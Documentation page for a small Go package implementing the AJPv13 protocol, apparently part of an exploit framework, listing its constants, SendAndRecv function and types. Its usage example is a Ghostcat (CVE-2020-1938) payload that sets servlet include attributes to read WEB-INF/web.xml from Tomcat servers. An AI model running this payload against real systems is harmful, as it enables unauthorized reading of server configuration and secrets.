ajp

Documentation

Overview

Package ajp is a very basic (and incomplete) implementation of the AJPv13 protocol. This implementation is enough to send and receive GET requests. Usage example (CVE-2020-1938):

attributes := []string{
	"javax.servlet.include.request_uri",
	"/",
	"javax.servlet.include.path_info",
	"WEB-INF/web.xml",
	"javax.servlet.include.servlet_path",
	"/",
}

status, data, ok := ajp.SendAndRecv(conf.Rhost, conf.Rport, conf.SSL, "/"+random.RandLetters(12), "GET", []string{}, attributes)
if !ok {
	return false
}
if status != 200 {
	return false
}

For details on the protocol see: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

Index

• Constants
• func SendAndRecv(host string, port int, ssl bool, uri string, verb string, headers []string, ...) (int, string, bool)
• type ForwardRequest

Constants

const (
	OPTIONS method = 1
	GET     method = 2
	HEAD    method = 3
	POST    method = 4
	PUT     method = 5
	DELETE  method = 6
)

const (
	FORWARD  reqType = 2
	SHUTDOWN reqType = 7
	PING     reqType = 8
	CPING    reqType = 10
)

const (
	SENDBODYCHUNK respType = 3
	SENDHEADERS   respType = 4
	ENDRESPONSE   respType = 5
)

const (
	ACCEPT         definedHeaders = 0xa001
	ACCEPTCHARSET  definedHeaders = 0xa002
	ACCEPTENCODING definedHeaders = 0xa003
	ACCEPTLANGUAGE definedHeaders = 0xa004
	AUTHORIZATION  definedHeaders = 0xa005
	CONNECTION     definedHeaders = 0xa006
	CONTENTTYPE    definedHeaders = 0xa007
	CONTENTLENGTH  definedHeaders = 0xa008
	COOKIE         definedHeaders = 0xa009
	COOKIE2        definedHeaders = 0xa00a
	HOST           definedHeaders = 0xa00b
	PRAGMA         definedHeaders = 0xa00c
	REFERER        definedHeaders = 0xa00d
	USERAGENT      definedHeaders = 0xa00e
)

Functions

func SendAndRecv

func SendAndRecv(host string, port int, ssl bool, uri string, verb string, headers []string, attributes []string) (int, string, bool)

Send and recv an AJP message. return the HTTP status, data, and bool indicating if we were successful or not.

Types

type ForwardRequest

type ForwardRequest struct {
	// contains filtered or unexported fields
}

A data structure for holding Forward Request data before serialization.